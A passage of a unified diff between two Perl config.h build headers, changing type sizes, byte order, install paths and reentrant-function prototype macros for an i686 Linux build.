MINFLOAT or + * MAXLONG, i.e. machine dependant limitations. Probably, you + * should use instead, if it is available. + */ +#define I_VALUES /**/ + /* I_VFORK: * This symbol, if defined, indicates to the C program that it should * include vfork.h. */ /*#define I_VFORK / **/ -/* STDCHAR: - * This symbol is defined to be the type of char used in stdio.h. - * It has the values "unsigned char" or "char". +/* CAN_VAPROTO: + * This variable is defined on systems supporting prototype declaration + * of functions with a variable number of arguments. */ -#define STDCHAR char /**/ +/* _V: + * This macro is used to declare function parameters in prototypes for + * functions with a variable number of parameters. Use double parentheses. + * For example: + * + * int printf _V((char *fmt, ...)); + * + * Remember to use the plain simple _() macro when declaring a function + * with no variable number of arguments, since it might be possible to + * have a non-effect _V() macro and still get prototypes via _(). + */ +#define CAN_VAPROTO /**/ +#ifdef CAN_VAPROTO +#define _V(args) args +#else +#define _V(args) () +#endif /* INTSIZE: * This symbol contains the value of sizeof(int) so that the C @@ -769,7 +896,7 @@ * preprocessor can make decisions based on it. */ #define INTSIZE 4 /**/ -#define LONGSIZE 8 /**/ +#define LONGSIZE 4 /**/ #define SHORTSIZE 2 /**/ /* MULTIARCH: @@ -784,59 +911,97 @@ /* HAS_QUAD: * This symbol, if defined, tells that there's a 64-bit integer type, * Quad_t, and its unsigned counterpart, Uquad_t. QUADKIND will be one - * of QUAD_IS_INT, QUAD_IS_LONG, QUAD_IS_LONG_LONG, QUAD_IS_INT64_T, - * or QUAD_IS___INT64. + * of QUAD_IS_INT, QUAD_IS_LONG, QUAD_IS_LONG_LONG, or QUAD_IS_INT64_T. */ #define HAS_QUAD /**/ #ifdef HAS_QUAD -# define Quad_t long /**/ -# define Uquad_t unsigned long /**/ -# define QUADKIND 2 /**/ +# define Quad_t long long /**/ +# define Uquad_t unsigned long long /**/ +# define QUADKIND 3 /**/ # define QUAD_IS_INT 1 # define QUAD_IS_LONG 2 # define QUAD_IS_LONG_LONG 3 # define QUAD_IS_INT64_T 4 -# define QUAD_IS___INT64 5 #endif -/* HAS_ACCESSX: - * This symbol, if defined, indicates that the accessx routine is - * available to do extended access checks. +/* USE_CROSS_COMPILE: + * This symbol, if defined, indicates that Perl is being cross-compiled. */ -/*#define HAS_ACCESSX / **/ +/* PERL_TARGETARCH: + * This symbol, if defined, indicates the target architecture + * Perl has been cross-compiled to. Undefined if not a cross-compile. + */ +#ifndef USE_CROSS_COMPILE +/*#define USE_CROSS_COMPILE / **/ +#define PERL_TARGETARCH "" /**/ +#endif -/* HAS_EACCESS: - * This symbol, if defined, indicates that the eaccess routine is - * available to do extended access checks. +/* MEM_ALIGNBYTES: + * This symbol contains the number of bytes required to align a + * double, or a long double when applicable. Usual values are 2, + * 4 and 8. The default is eight, for safety. */ -#define HAS_EACCESS /**/ +#if defined(MULTIARCH) +# define MEM_ALIGNBYTES 8 +#else +#define MEM_ALIGNBYTES 4 +#endif -/* I_SYS_ACCESS: - * This symbol, if defined, indicates to the C program that it should - * include . +/* ARCHLIB: + * This variable, if defined, holds the name of the directory in + * which the user wants to put architecture-dependent public + * library files for perl5. It is most often a local directory + * such as /usr/local/lib. Programs using this variable must be + * prepared to deal with filename expansion. If ARCHLIB is the + * same as PRIVLIB, it is not defined, since presumably the + * program already searches PRIVLIB. */ -/*#define I_SYS_ACCESS / **/ +/* ARCHLIB_EXP: + * This symbol contains the ~name expanded version of ARCHLIB, to be used + * in programs that are not prepared to deal with ~ expansion at run-time. + */ +#define ARCHLIB "/pro/lib/perl5/5.26.2/i686-linux-64int-ld" /**/ +#define ARCHLIB_EXP "/pro/lib/perl5/5.26.2/i686-linux-64int-ld" /**/ -/* I_SYS_SECURITY: - * This symbol, if defined, indicates to the C program that it should - * include . +/* ARCHNAME: + * This symbol holds a string representing the architecture name. + * It may be used to construct an architecture-dependant pathname + * where library files may be held under a private library, for + * instance. */ -/*#define I_SYS_SECURITY / **/ +#define ARCHNAME "i686-linux-64int-ld" /**/ -/* MEM_ALIGNBYTES: - * This symbol contains the number of bytes required to align a - * double, or a long double when applicable. Usual values are 2, - * 4 and 8. The default is eight, for safety. For cross-compiling - * or multiarch support, Configure will set a minimum of 8. +/* BIN: + * This symbol holds the path of the bin directory where the package will + * be installed. Program must be prepared to deal with ~name substitution. + */ +/* BIN_EXP: + * This symbol is the filename expanded version of the BIN symbol, for + * programs that do not want to deal with that at run-time. + */ +/* PERL_RELOCATABLE_INC: + * This symbol, if defined, indicates that we'd like to relocate entries + * in @INC at run time based on the location of the perl binary. */ -#define MEM_ALIGNBYTES 8 +#define BIN "/pro/bin" /**/ +#define BIN_EXP "/pro/bin" /**/ +#define PERL_RELOCATABLE_INC "undef" /**/ /* BYTEORDER: * This symbol holds the hexadecimal constant defined in byteorder, * in a UV, i.e. 0x1234 or 0x4321 or 0x12345678, etc... * If the compiler supports cross-compiling or multiple-architecture - * binaries, use compiler-defined macros to + * binaries (eg. on NeXT systems), use compiler-defined macros to * determine the byte order. + * On NeXT 3.2 (and greater), you can build "Fat" Multiple Architecture + * Binaries (MAB) on either big endian or little endian machines. + * The endian-ness is available at compile-time. This only matters + * for perl, where the config.h can be generated and installed on + * one system, and used by a different architecture to build an + * extension. Older versions of NeXT that might not have + * defined either *_ENDIAN__ were all on Motorola 680x0 series, + * so the default case (for NeXT) is big endian to catch them. + * This might matter for NeXT 3.0. */ #if defined(MULTIARCH) # ifdef __LITTLE_ENDIAN__ @@ -858,9 +1023,12 @@ # endif # endif # endif +# if !defined(BYTEORDER) && (defined(NeXT) || defined(__NeXT__)) +# define BYTEORDER 0x4321 +# endif #else #define BYTEORDER 0x12345678 /* large digits for MSB */ -#endif +#endif /* NeXT */ /* CHARBITS: * This symbol contains the size of a char, so that the C preprocessor @@ -868,6 +1036,25 @@ */ #define CHARBITS 8 /**/ +/* HAS_ACCESSX: + * This symbol, if defined, indicates that the accessx routine is + * available to do extended access checks. + */ +/*#define HAS_ACCESSX / **/ + +/* HAS_ASCTIME_R: + * This symbol, if defined, indicates that the asctime_r routine + * is available to asctime re-entrantly. + */ +/* ASCTIME_R_PROTO: + * This symbol encodes the prototype of asctime_r. + * It is zero if d_asctime_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r + * is defined. + */ +/*#define HAS_ASCTIME_R / **/ +#define ASCTIME_R_PROTO 0 /**/ + /* CASTI32: * This symbol is defined if the C compiler can cast negative * or large floating point numbers to 32-bit ints. @@ -895,4214 +1082,3413 @@ */ /*#define VOID_CLOSEDIR / **/ -/* HAS_FD_SET: - * This symbol, when defined, indicates presence of the fd_set typedef - * in +/* HAS_CRYPT_R: + * This symbol, if defined, indicates that the crypt_r routine + * is available to crypt re-entrantly. */ -#define HAS_FD_SET /**/ - -/* Gconvert: - * This preprocessor macro is defined to convert a floating point - * number to a string without a trailing decimal point. This - * emulates the behavior of sprintf("%g"), but is sometimes much more - * efficient. If gconvert() is not available, but gcvt() drops the - * trailing decimal point, then gcvt() is used. If all else fails, - * a macro using sprintf("%g") is used. Arguments for the Gconvert - * macro are: value, number of digits, whether trailing zeros should - * be retained, and the output buffer. - * The usual values are: - * d_Gconvert='gconvert((x),(n),(t),(b))' - * d_Gconvert='gcvt((x),(n),(b))' - * d_Gconvert='sprintf((b),"%.*g",(n),(x))' - * The last two assume trailing zeros should not be kept. +/* CRYPT_R_PROTO: + * This symbol encodes the prototype of crypt_r. + * It is zero if d_crypt_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r + * is defined. */ -#define Gconvert(x,n,t,b) gcvt((x),(n),(b)) +/*#define HAS_CRYPT_R / **/ +#define CRYPT_R_PROTO 0 /**/ -/* HAS_GETPAGESIZE: - * This symbol, if defined, indicates that the getpagesize system call - * is available to get system page size, which is the granularity of - * many memory management calls. +/* HAS_CTERMID_R: + * This symbol, if defined, indicates that the ctermid_r routine + * is available to ctermid re-entrantly. */ -#define HAS_GETPAGESIZE /**/ - -/* HAS_GNULIBC: - * This symbol, if defined, indicates to the C program that - * the GNU C library is being used. A better check is to use - * the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc. +/* CTERMID_R_PROTO: + * This symbol encodes the prototype of ctermid_r. + * It is zero if d_ctermid_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r + * is defined. */ -#define HAS_GNULIBC /**/ -#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE) -# define _GNU_SOURCE -#endif +/*#define HAS_CTERMID_R / **/ +#define CTERMID_R_PROTO 0 /**/ -/* HAS_ISASCII: - * This manifest constant lets the C program know that isascii - * is available. +/* HAS_CTIME_R: + * This symbol, if defined, indicates that the ctime_r routine + * is available to ctime re-entrantly. */ -#define HAS_ISASCII /**/ - -/* HAS_LCHOWN: - * This symbol, if defined, indicates that the lchown routine is - * available to operate on a symbolic link (instead of following the - * link). +/* CTIME_R_PROTO: + * This symbol encodes the prototype of ctime_r. + * It is zero if d_ctime_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r + * is defined. */ -#define HAS_LCHOWN /**/ +/*#define HAS_CTIME_R / **/ +#define CTIME_R_PROTO 0 /**/ -/* HAS_OPEN3: - * This manifest constant lets the C program know that the three - * argument form of open(2) is available. +/* HAS_DRAND48_R: + * This symbol, if defined, indicates that the drand48_r routine + * is available to drand48 re-entrantly. */ -#define HAS_OPEN3 /**/ - -/* HAS_SIGACTION: - * This symbol, if defined, indicates that Vr4's sigaction() routine - * is available. +/* DRAND48_R_PROTO: + * This symbol encodes the prototype of drand48_r. + * It is zero if d_drand48_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r + * is defined. */ -#define HAS_SIGACTION /**/ +/*#define HAS_DRAND48_R / **/ +#define DRAND48_R_PROTO 0 /**/ -/* HAS_SIGINFO_SI_ERRNO: - * This symbol, if defined, indicates that siginfo_t has the - * si_errno member +/* HAS_EACCESS: + * This symbol, if defined, indicates that the eaccess routine is + * available to do extended access checks. */ -/* HAS_SIGINFO_SI_PID: - * This symbol, if defined, indicates that siginfo_t has the - * si_pid member +#define HAS_EACCESS /**/ + +/* HAS_ENDGRENT_R: + * This symbol, if defined, indicates that the endgrent_r routine + * is available to endgrent re-entrantly. */ -/* HAS_SIGINFO_SI_UID: - * This symbol, if defined, indicates that siginfo_t has the - * si_uid member +/* ENDGRENT_R_PROTO: + * This symbol encodes the prototype of endgrent_r. + * It is zero if d_endgrent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r + * is defined. */ -/* HAS_SIGINFO_SI_ADDR: - * This symbol, if defined, indicates that siginfo_t has the - * si_addr member +/*#define HAS_ENDGRENT_R / **/ +#define ENDGRENT_R_PROTO 0 /**/ + +/* HAS_ENDHOSTENT_R: + * This symbol, if defined, indicates that the endhostent_r routine + * is available to endhostent re-entrantly. */ -/* HAS_SIGINFO_SI_STATUS: - * This symbol, if defined, indicates that siginfo_t has the - * si_status member +/* ENDHOSTENT_R_PROTO: + * This symbol encodes the prototype of endhostent_r. + * It is zero if d_endhostent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r + * is defined. */ -/* HAS_SIGINFO_SI_BAND: - * This symbol, if defined, indicates that siginfo_t has the - * si_band member +/*#define HAS_ENDHOSTENT_R / **/ +#define ENDHOSTENT_R_PROTO 0 /**/ + +/* HAS_ENDNETENT_R: + * This symbol, if defined, indicates that the endnetent_r routine + * is available to endnetent re-entrantly. */ -/* HAS_SIGINFO_SI_VALUE: - * This symbol, if defined, indicates that siginfo_t has the - * si_value member +/* ENDNETENT_R_PROTO: + * This symbol encodes the prototype of endnetent_r. + * It is zero if d_endnetent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r + * is defined. */ -#define HAS_SIGINFO_SI_ERRNO /**/ -#define HAS_SIGINFO_SI_PID /**/ -#define HAS_SIGINFO_SI_UID /**/ -#define HAS_SIGINFO_SI_ADDR /**/ -#define HAS_SIGINFO_SI_STATUS /**/ -#define HAS_SIGINFO_SI_BAND /**/ -#define HAS_SIGINFO_SI_VALUE /**/ +/*#define HAS_ENDNETENT_R / **/ +#define ENDNETENT_R_PROTO 0 /**/ -/* HAS_SIGSETJMP: - * This variable indicates to the C program that the sigsetjmp() - * routine is available to save the calling process's registers - * and stack environment for later use by siglongjmp(), and - * to optionally save the process's signal mask. See - * Sigjmp_buf, Sigsetjmp, and Siglongjmp. +/* HAS_ENDPROTOENT_R: + * This symbol, if defined, indicates that the endprotoent_r routine + * is available to endprotoent re-entrantly. */ -/* Sigjmp_buf: - * This is the buffer type to be used with Sigsetjmp and Siglongjmp. +/* ENDPROTOENT_R_PROTO: + * This symbol encodes the prototype of endprotoent_r. + * It is zero if d_endprotoent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r + * is defined. */ -/* Sigsetjmp: - * This macro is used in the same way as sigsetjmp(), but will invoke - * traditional setjmp() if sigsetjmp isn't available. - * See HAS_SIGSETJMP. +/*#define HAS_ENDPROTOENT_R / **/ +#define ENDPROTOENT_R_PROTO 0 /**/ + +/* HAS_ENDPWENT_R: + * This symbol, if defined, indicates that the endpwent_r routine + * is available to endpwent re-entrantly. */ -/* Siglongjmp: - * This macro is used in the same way as siglongjmp(), but will invoke - * traditional longjmp() if siglongjmp isn't available. - * See HAS_SIGSETJMP. +/* ENDPWENT_R_PROTO: + * This symbol encodes the prototype of endpwent_r. + * It is zero if d_endpwent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r + * is defined. */ -#define HAS_SIGSETJMP /**/ -#ifdef HAS_SIGSETJMP -#define Sigjmp_buf sigjmp_buf -#define Sigsetjmp(buf,save_mask) sigsetjmp((buf),(save_mask)) -#define Siglongjmp(buf,retval) siglongjmp((buf),(retval)) -#else -#define Sigjmp_buf jmp_buf -#define Sigsetjmp(buf,save_mask) setjmp((buf)) -#define Siglongjmp(buf,retval) longjmp((buf),(retval)) -#endif +/*#define HAS_ENDPWENT_R / **/ +#define ENDPWENT_R_PROTO 0 /**/ -/* HAS_STATIC_INLINE: - * This symbol, if defined, indicates that the C compiler supports - * C99-style static inline. That is, the function can't be called - * from another translation unit. +/* HAS_ENDSERVENT_R: + * This symbol, if defined, indicates that the endservent_r routine + * is available to endservent re-entrantly. */ -/* PERL_STATIC_INLINE: - * This symbol gives the best-guess incantation to use for static - * inline functions. If HAS_STATIC_INLINE is defined, this will - * give C99-style inline. If HAS_STATIC_INLINE is not defined, - * this will give a plain 'static'. It will always be defined - * to something that gives static linkage. - * Possibilities include - * static inline (c99) - * static __inline__ (gcc -ansi) - * static __inline (MSVC) - * static _inline (older MSVC) - * static (c89 compilers) +/* ENDSERVENT_R_PROTO: + * This symbol encodes the prototype of endservent_r. + * It is zero if d_endservent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r + * is defined. */ -#define HAS_STATIC_INLINE /**/ -#define PERL_STATIC_INLINE static __inline__ /**/ +/*#define HAS_ENDSERVENT_R / **/ +#define ENDSERVENT_R_PROTO 0 /**/ -/* USE_STDIO_PTR: - * This symbol is defined if the _ptr and _cnt fields (or similar) - * of the stdio FILE structure can be used to access the stdio buffer - * for a file handle. If this is defined, then the FILE_ptr(fp) - * and FILE_cnt(fp) macros will also be defined and should be used - * to access these fields. - */ -/* FILE_ptr: - * This macro is used to access the _ptr field (or equivalent) of the - * FILE structure pointed to by its argument. This macro will always be - * defined if USE_STDIO_PTR is defined. +/* HAS_FD_SET: + * This symbol, when defined, indicates presence of the fd_set typedef + * in */ -/* STDIO_PTR_LVALUE: - * This symbol is defined if the FILE_ptr macro can be used as an - * lvalue. +#define HAS_FD_SET /**/ + +/* Gconvert: + * This preprocessor macro is defined to convert a floating point + * number to a string without a trailing decimal point. This + * emulates the behavior of sprintf("%g"), but is sometimes much more + * efficient. If gconvert() is not available, but gcvt() drops the + * trailing decimal point, then gcvt() is used. If all else fails, + * a macro using sprintf("%g") is used. Arguments for the Gconvert + * macro are: value, number of digits, whether trailing zeros should + * be retained, and the output buffer. + * The usual values are: + * d_Gconvert='gconvert((x),(n),(t),(b))' + * d_Gconvert='gcvt((x),(n),(b))' + * d_Gconvert='sprintf((b),"%.*g",(n),(x))' + * The last two assume trailing zeros should not be kept. */ -/* FILE_cnt: - * This macro is used to access the _cnt field (or equivalent) of the - * FILE structure pointed to by its argument. This macro will always be - * defined if USE_STDIO_PTR is defined. +#define Gconvert(x,n,t,b) qgcvt((x),(n),(b)) + +/* HAS_GETGRENT_R: + * This symbol, if defined, indicates that the getgrent_r routine + * is available to getgrent re-entrantly. */ -/* STDIO_CNT_LVALUE: - * This symbol is defined if the FILE_cnt macro can be used as an - * lvalue. +/* GETGRENT_R_PROTO: + * This symbol encodes the prototype of getgrent_r. + * It is zero if d_getgrent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r + * is defined. */ -/* STDIO_PTR_LVAL_SETS_CNT: - * This symbol is defined if using the FILE_ptr macro as an lvalue - * to increase the pointer by n has the side effect of decreasing the - * value of File_cnt(fp) by n. +/*#define HAS_GETGRENT_R / **/ +#define GETGRENT_R_PROTO 0 /**/ + +/* HAS_GETGRGID_R: + * This symbol, if defined, indicates that the getgrgid_r routine + * is available to getgrgid re-entrantly. */ -/* STDIO_PTR_LVAL_NOCHANGE_CNT: - * This symbol is defined if using the FILE_ptr macro as an lvalue - * to increase the pointer by n leaves File_cnt(fp) unchanged. +/* GETGRGID_R_PROTO: + * This symbol encodes the prototype of getgrgid_r. + * It is zero if d_getgrgid_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r + * is defined. */ -#define USE_STDIO_PTR /**/ -#ifdef USE_STDIO_PTR -#define FILE_ptr(fp) ((fp)->_IO_read_ptr) -#define STDIO_PTR_LVALUE /**/ -#define FILE_cnt(fp) ((fp)->_IO_read_end - (fp)->_IO_read_ptr) -/*#define STDIO_CNT_LVALUE / **/ -#define STDIO_PTR_LVAL_SETS_CNT /**/ -/*#define STDIO_PTR_LVAL_NOCHANGE_CNT / **/ -#endif +/*#define HAS_GETGRGID_R / **/ +#define GETGRGID_R_PROTO 0 /**/ -/* USE_STDIO_BASE: - * This symbol is defined if the _base field (or similar) of the - * stdio FILE structure can be used to access the stdio buffer for - * a file handle. If this is defined, then the FILE_base(fp) macro - * will also be defined and should be used to access this field. - * Also, the FILE_bufsiz(fp) macro will be defined and should be used - * to determine the number of bytes in the buffer. USE_STDIO_BASE - * will never be defined unless USE_STDIO_PTR is. - */ -/* FILE_base: - * This macro is used to access the _base field (or equivalent) of the - * FILE structure pointed to by its argument. This macro will always be - * defined if USE_STDIO_BASE is defined. +/* HAS_GETGRNAM_R: + * This symbol, if defined, indicates that the getgrnam_r routine + * is available to getgrnam re-entrantly. */ -/* FILE_bufsiz: - * This macro is used to determine the number of bytes in the I/O - * buffer pointed to by _base field (or equivalent) of the FILE - * structure pointed to its argument. This macro will always be defined - * if USE_STDIO_BASE is defined. +/* GETGRNAM_R_PROTO: + * This symbol encodes the prototype of getgrnam_r. + * It is zero if d_getgrnam_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r + * is defined. */ -#define USE_STDIO_BASE /**/ -#ifdef USE_STDIO_BASE -#define FILE_base(fp) ((fp)->_IO_read_base) -#define FILE_bufsiz(fp) ((fp)->_IO_read_end - (fp)->_IO_read_base) -#endif +/*#define HAS_GETGRNAM_R / **/ +#define GETGRNAM_R_PROTO 0 /**/ -/* DOUBLESIZE: - * This symbol contains the size of a double, so that the C preprocessor - * can make decisions based on it. +/* HAS_GETHOSTBYADDR_R: + * This symbol, if defined, indicates that the gethostbyaddr_r routine + * is available to gethostbyaddr re-entrantly. */ -#define DOUBLESIZE 8 /**/ - -/* I_TIME: - * This symbol is always defined, and indicates to the C program that - * it should include . +/* GETHOSTBYADDR_R_PROTO: + * This symbol encodes the prototype of gethostbyaddr_r. + * It is zero if d_gethostbyaddr_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r + * is defined. */ -/* I_SYS_TIME: - * This symbol, if defined, indicates to the C program that it should - * include . +/*#define HAS_GETHOSTBYADDR_R / **/ +#define GETHOSTBYADDR_R_PROTO 0 /**/ + +/* HAS_GETHOSTBYNAME_R: + * This symbol, if defined, indicates that the gethostbyname_r routine + * is available to gethostbyname re-entrantly. */ -/* I_SYS_TIME_KERNEL: - * This symbol, if defined, indicates to the C program that it should - * include with KERNEL defined. - */ -/* HAS_TM_TM_ZONE: - * This symbol, if defined, indicates to the C program that - * the struct tm has a tm_zone field. - */ -/* HAS_TM_TM_GMTOFF: - * This symbol, if defined, indicates to the C program that - * the struct tm has a tm_gmtoff field. +/* GETHOSTBYNAME_R_PROTO: + * This symbol encodes the prototype of gethostbyname_r. + * It is zero if d_gethostbyname_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r + * is defined. */ -#define I_TIME /**/ -#define I_SYS_TIME /**/ -/*#define I_SYS_TIME_KERNEL / **/ -#define HAS_TM_TM_ZONE /**/ -#define HAS_TM_TM_GMTOFF /**/ +/*#define HAS_GETHOSTBYNAME_R / **/ +#define GETHOSTBYNAME_R_PROTO 0 /**/ -/* VAL_O_NONBLOCK: - * This symbol is to be used during open() or fcntl(F_SETFL) to turn on - * non-blocking I/O for the file descriptor. Note that there is no way - * back, i.e. you cannot turn it blocking again this way. If you wish to - * alternatively switch between blocking and non-blocking, use the - * ioctl(FIOSNBIO) call instead, but that is not supported by all devices. +/* HAS_GETHOSTENT_R: + * This symbol, if defined, indicates that the gethostent_r routine + * is available to gethostent re-entrantly. */ -/* VAL_EAGAIN: - * This symbol holds the errno error code set by read() when no data was - * present on the non-blocking file descriptor. +/* GETHOSTENT_R_PROTO: + * This symbol encodes the prototype of gethostent_r. + * It is zero if d_gethostent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r + * is defined. */ -/* RD_NODATA: - * This symbol holds the return code from read() when no data is present - * on the non-blocking file descriptor. Be careful! If EOF_NONBLOCK is - * not defined, then you can't distinguish between no data and EOF by - * issuing a read(). You'll have to find another way to tell for sure! +/*#define HAS_GETHOSTENT_R / **/ +#define GETHOSTENT_R_PROTO 0 /**/ + +/* HAS_GETLOGIN_R: + * This symbol, if defined, indicates that the getlogin_r routine + * is available to getlogin re-entrantly. */ -/* EOF_NONBLOCK: - * This symbol, if defined, indicates to the C program that a read() on - * a non-blocking file descriptor will return 0 on EOF, and not the value - * held in RD_NODATA (-1 usually, in that case!). +/* GETLOGIN_R_PROTO: + * This symbol encodes the prototype of getlogin_r. + * It is zero if d_getlogin_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r + * is defined. */ -#define VAL_O_NONBLOCK O_NONBLOCK -#define VAL_EAGAIN EAGAIN -#define RD_NODATA -1 -#define EOF_NONBLOCK +/*#define HAS_GETLOGIN_R / **/ +#define GETLOGIN_R_PROTO 0 /**/ -/* PTRSIZE: - * This symbol contains the size of a pointer, so that the C preprocessor - * can make decisions based on it. It will be sizeof(void *) if - * the compiler supports (void *); otherwise it will be - * sizeof(char *). +/* HAS_GETNETBYADDR_R: + * This symbol, if defined, indicates that the getnetbyaddr_r routine + * is available to getnetbyaddr re-entrantly. + */ +/* GETNETBYADDR_R_PROTO: + * This symbol encodes the prototype of getnetbyaddr_r. + * It is zero if d_getnetbyaddr_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r + * is defined. */ -#define PTRSIZE 8 /**/ +/*#define HAS_GETNETBYADDR_R / **/ +#define GETNETBYADDR_R_PROTO 0 /**/ -/* Drand01: - * This macro is to be used to generate uniformly distributed - * random numbers over the range [0., 1.[. You may have to supply - * an 'extern double drand48();' in your program since SunOS 4.1.3 - * doesn't provide you with anything relevant in its headers. - * See HAS_DRAND48_PROTO. +/* HAS_GETNETBYNAME_R: + * This symbol, if defined, indicates that the getnetbyname_r routine + * is available to getnetbyname re-entrantly. */ -/* Rand_seed_t: - * This symbol defines the type of the argument of the - * random seed function. +/* GETNETBYNAME_R_PROTO: + * This symbol encodes the prototype of getnetbyname_r. + * It is zero if d_getnetbyname_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r + * is defined. */ -/* seedDrand01: - * This symbol defines the macro to be used in seeding the - * random number generator (see Drand01). +/*#define HAS_GETNETBYNAME_R / **/ +#define GETNETBYNAME_R_PROTO 0 /**/ + +/* HAS_GETNETENT_R: + * This symbol, if defined, indicates that the getnetent_r routine + * is available to getnetent re-entrantly. */ -/* RANDBITS: - * This symbol indicates how many bits are produced by the - * function used to generate normalized random numbers. - * Values include 15, 16, 31, and 48. +/* GETNETENT_R_PROTO: + * This symbol encodes the prototype of getnetent_r. + * It is zero if d_getnetent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r + * is defined. */ -#define Drand01() Perl_drand48() /**/ -#define Rand_seed_t U32 /**/ -#define seedDrand01(x) Perl_drand48_init((Rand_seed_t)x) /**/ -#define RANDBITS 48 /**/ +/*#define HAS_GETNETENT_R / **/ +#define GETNETENT_R_PROTO 0 /**/ -/* SSize_t: - * This symbol holds the type used by functions that return - * a count of bytes or an error condition. It must be a signed type. - * It is usually ssize_t, but may be long or int, etc. - * It may be necessary to include or - * to get any typedef'ed information. - * We will pick a type such that sizeof(SSize_t) == sizeof(Size_t). +/* HAS_GETPAGESIZE: + * This symbol, if defined, indicates that the getpagesize system call + * is available to get system page size, which is the granularity of + * many memory management calls. */ -#define SSize_t ssize_t /* signed count of bytes */ +#define HAS_GETPAGESIZE /**/ -/* EBCDIC: - * This symbol, if defined, indicates that this system uses - * EBCDIC encoding. +/* HAS_GETPROTOBYNAME_R: + * This symbol, if defined, indicates that the getprotobyname_r routine + * is available to getprotobyname re-entrantly. */ -/*#define EBCDIC / **/ +/* GETPROTOBYNAME_R_PROTO: + * This symbol encodes the prototype of getprotobyname_r. + * It is zero if d_getprotobyname_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r + * is defined. + */ +/*#define HAS_GETPROTOBYNAME_R / **/ +#define GETPROTOBYNAME_R_PROTO 0 /**/ -/* ARCHLIB: - * This variable, if defined, holds the name of the directory in - * which the user wants to put architecture-dependent public - * library files for perl5. It is most often a local directory - * such as /usr/local/lib. Programs using this variable must be - * prepared to deal with filename expansion. If ARCHLIB is the - * same as PRIVLIB, it is not defined, since presumably the - * program already searches PRIVLIB. +/* HAS_GETPROTOBYNUMBER_R: + * This symbol, if defined, indicates that the getprotobynumber_r routine + * is available to getprotobynumber re-entrantly. */ -/* ARCHLIB_EXP: - * This symbol contains the ~name expanded version of ARCHLIB, to be used - * in programs that are not prepared to deal with ~ expansion at run-time. +/* GETPROTOBYNUMBER_R_PROTO: + * This symbol encodes the prototype of getprotobynumber_r. + * It is zero if d_getprotobynumber_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r + * is defined. */ -#define ARCHLIB "/opt/perl/lib/5.29.0/x86_64-linux" /**/ -#define ARCHLIB_EXP "/opt/perl/lib/5.29.0/x86_64-linux" /**/ +/*#define HAS_GETPROTOBYNUMBER_R / **/ +#define GETPROTOBYNUMBER_R_PROTO 0 /**/ -/* BIN: - * This symbol holds the path of the bin directory where the package will - * be installed. Program must be prepared to deal with ~name substitution. - */ -/* BIN_EXP: - * This symbol is the filename expanded version of the BIN symbol, for - * programs that do not want to deal with that at run-time. +/* HAS_GETPROTOENT_R: + * This symbol, if defined, indicates that the getprotoent_r routine + * is available to getprotoent re-entrantly. */ -/* PERL_RELOCATABLE_INC: - * This symbol, if defined, indicates that we'd like to relocate entries - * in @INC at run time based on the location of the perl binary. +/* GETPROTOENT_R_PROTO: + * This symbol encodes the prototype of getprotoent_r. + * It is zero if d_getprotoent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r + * is defined. */ -#define BIN "/opt/perl/bin" /**/ -#define BIN_EXP "/opt/perl/bin" /**/ -#define PERL_RELOCATABLE_INC "undef" /**/ +/*#define HAS_GETPROTOENT_R / **/ +#define GETPROTOENT_R_PROTO 0 /**/ -/* PERL_INC_VERSION_LIST: - * This variable specifies the list of subdirectories in over - * which perl.c:incpush() and lib/lib.pm will automatically - * search when adding directories to @INC, in a format suitable - * for a C initialization string. See the inc_version_list entry - * in Porting/Glossary for more details. +/* HAS_GETPWENT_R: + * This symbol, if defined, indicates that the getpwent_r routine + * is available to getpwent re-entrantly. */ -/*#define PERL_INC_VERSION_LIST 0 / **/ - -/* INSTALL_USR_BIN_PERL: - * This symbol, if defined, indicates that Perl is to be installed - * also as /usr/bin/perl. +/* GETPWENT_R_PROTO: + * This symbol encodes the prototype of getpwent_r. + * It is zero if d_getpwent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r + * is defined. */ -/*#define INSTALL_USR_BIN_PERL / **/ +/*#define HAS_GETPWENT_R / **/ +#define GETPWENT_R_PROTO 0 /**/ -/* PERL_OTHERLIBDIRS: - * This variable contains a colon-separated set of paths for the perl - * binary to search for additional library files or modules. - * These directories will be tacked to the end of @INC. - * Perl will automatically search below each path for version- - * and architecture-specific directories. See PERL_INC_VERSION_LIST - * for more details. +/* HAS_GETPWNAM_R: + * This symbol, if defined, indicates that the getpwnam_r routine + * is available to getpwnam re-entrantly. */ -/*#define 